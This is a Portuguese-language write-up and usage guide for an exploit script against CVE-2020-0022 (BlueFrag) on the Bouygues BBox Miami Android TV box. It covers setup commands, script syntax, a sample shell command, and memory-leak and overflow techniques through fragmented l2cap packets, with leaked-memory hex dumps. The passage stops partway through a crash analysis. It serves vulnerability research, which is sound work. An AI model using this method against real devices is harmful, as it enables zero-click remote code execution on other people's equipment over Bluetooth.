
Exploração da vulnerabilidade CVE-2020-0022 em Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)
########################################################################################
Exploração da vulnerabilidade CVE-2020-0022 no Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Por Polo35 - 2020/08/24
########################################################################################
"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Baseado nos scripts de Jan Ruge CVE-2020-0022 um Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
INTRODUÇÃO E DICAS
########################################################################################
O script usa o módulo bluetooth do Python para obter o handle de conexão ACL Portanto, você precisa instalar as bibliotecas bluetooth e pybluez (versão 0.22 para python2 e última versão para python3)
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
Você pode passar um comando shell para o script como parâmetro que será executado com a função system pelo daemon bluetooth Existem apenas 104 caracteres disponíveis para o comando shell porque a ROP chain ocupa os primeiros 20 bytes do segundo payload
Exemplo: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
O script pode usar adb para verificar a conexão, inspecionar logcat e reiniciar o alvo quando necessário Para isso, você deve passar o IP do alvo como parâmetro Certifique-se de conectar o alvo com adb connect e abrir um shell para verificar a conexão antes de usar o script
Os melhores resultados são obtidos conectando o alvo via bluetooth com um smartphone quando o script disser ;) Pode levar mais de 30 tentativas para disparar o exploit, mas às vezes funciona na primeira tentativa
########################################################################################
VAZAMENTO DE MEMÓRIA COM ARM32
########################################################################################
O Bouygues BBox Miami é baseado em um processador ARM 32 bits Cortex A9 A diferença para ARM64 é que a função memcpy da libc não causa underflow, então é impossível obter os mesmos vazamentos que Jan Ruge Mas a vulnerabilidade está presente e é explorável de uma forma diferente
Ao enviar pacotes l2cap com fragmentação de 4 bytes, podemos acionar um memcpy de comprimento 0 em reassemble_and_dispatch Isso permite obter 4 bytes de dados não inicializados no final do eco
Aumentar o comprimento do primeiro pacote (doravante chamado mem_offset) permite "caminhar" pela memória não inicializada Obter 32 ecos com o mesmo mem_offset fornece de 2 a 8 ecos exploráveis Os ecos são repetidos, então não é necessário obter mais de 32 ecos com o mesmo mem_offset Este método também preenche a memória com os pacotes, facilitando o reconhecimento de padrões e a localização de deslocamentos nos vazamentos
O mem_offset é o comprimento do pacote l2cap em caracteres Ex: mem_offset 184 = pacote l2cap de 184 caracteres = pacote l2cap de 368 bytes
Exemplo de "caminhada" pela memória e dados não inicializados com repetições:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
Podemos ver em mem_offset 180 e 184 alguns endereços de memória em little endian
a4ce80a3 dá endereço 0xa380cea4 24d280a3 dá endereço 0xa380d224 a4d580a3 dá endereço 0xa380d5a4 9cce80a3 dá endereço 0xa380ce9c 1cd280a3 dá endereço 0xa380d21c 9cd580a3 dá endereço 0xa380d59c
Existem pelo menos 4 ou 5 mem_offset onde é possível encontrar endereços de memória reais após quase todas as reinicializações Veremos mais tarde como podemos usá-los
########################################################################################
ANÁLISE DO PRIMEIRO CRASH
########################################################################################
Ao enviar pacotes l2cap com fragmentação de 2 bytes, podemos acionar um memcpy de comprimento -2 em reassemble_and_dispatch Isso permite transbordar para fora do pacote parcial com 30 bytes de dados controlados do segundo pacote Por causa dos 30 bytes copiados, não é necessário enviar pacotes maiores que 32 bytes com os últimos 4 bytes nulos
Este método de overflow às vezes causa um crash no daemon bluetooth com o registo R0 controlado em _Z11list_appendP6list_tPv+65: